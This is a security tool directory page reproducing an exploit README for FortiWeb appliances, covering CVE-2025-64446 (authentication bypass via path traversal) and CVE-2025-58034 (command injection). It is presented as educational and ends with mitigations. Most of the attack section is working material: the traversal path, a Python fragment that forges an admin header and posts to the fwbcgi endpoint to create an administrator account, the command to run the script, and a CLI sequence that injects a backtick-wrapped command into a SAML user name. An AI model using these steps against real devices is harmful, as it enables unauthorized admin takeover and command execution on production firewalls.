Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Vulnerability-CVE-2025-64446-CVE-2025-58034 — Lỗ hổng FORTIWEB_CVE-2025-64446 & CVE-2025-58034 | Kitploit
Tools/GitHubGitHub/litndat/vulnerability-cve-2025-64446-cve-2025-58034
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHublitndat/vulnerability-cve-2025-64446-cve-2025-58034

Vulnerability-CVE-2025-64446-CVE-2025-58034

Lỗ hổng FORTIWEB_CVE-2025-64446 & CVE-2025-58034

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 month agoNot yet reviewed

FortiWeb Exploitation Simulation (CVE-2025-64446 & CVE-2025-58034)

Note:

  • This document is for educational and security research purposes only.
  • Do not use to attack systems without permission.

1. Overview

FortiWeb is a Web Application Firewall (WAF) device used to protect web applications.

In 2025, two critical vulnerabilities were discovered:

  • CVE-2025-64446 – Authentication Bypass via Path Traversal
  • CVE-2025-58034 – OS Command Injection

2. Overview of CVE-2025-64446

ItemContent
Vulnerability TypeRelative Path Traversal
Authentication Bypass
CauseFortiWeb processes paths loosely before authentication:

- Access control based on logical path string
- Does not fully normalize the path
- Allows using ../ to access internal resources
DescriptionSome administrative endpoints can be accessed without valid authentication
Impact- Completely bypass authentication
- Unauthorized access to admin functions
- Breaks the authorization model
Affected Versions- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11

Example:

root@kitploit:~
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Overview of CVE-2025-58034


4. Exploitation Process (POC)

4.1. Environment Preparation:

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

This helps avoid library version conflicts, ensures a stable working environment, and limits impact on the system.

image

4.2 Exploitation

Payload

root@kitploit:~
 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Run the tool using Python3:

root@kitploit:~
python3 exploit.py <IP_target>
  • <IP_target>: The IP address is the hostname of the FortiWeb device.
image

Obtain username and password -> proceed to login

image image

Successful exploitation and created a new account with admin privileges.

4.3 Exploiting CVE-2025-58034 after Account Login

After successfully logging in with the newly created admin account, an attacker can exploit the authenticated command injection vulnerability through specially crafted requests or directly through the FortiWeb CLI:

root@kitploit:~
config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb will exit the configuration string and execute the id command during the saml-user configuration.

5. Some Mitigation Methods

  • Update FortiWeb to a patched version.
  • Restrict access to the management interface.
  • Do not expose the management interface to the Internet.
  • Check for suspicious admin accounts.

6. Additional References

  • CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
  • CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
Download Tool
ItemContent
Vulnerability TypeOS Command Injection (CWE-78)
CauseFortiWeb processes input unsafely when executing OS commands:

- No input validation
- Lack of special character escaping
- Directly passes user data into system commands
DescriptionThe vulnerability requires authentication but allows system command injection
Impact- Execute unintended commands
- Access system resources
- Affects integrity and availability
Affected Versions- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11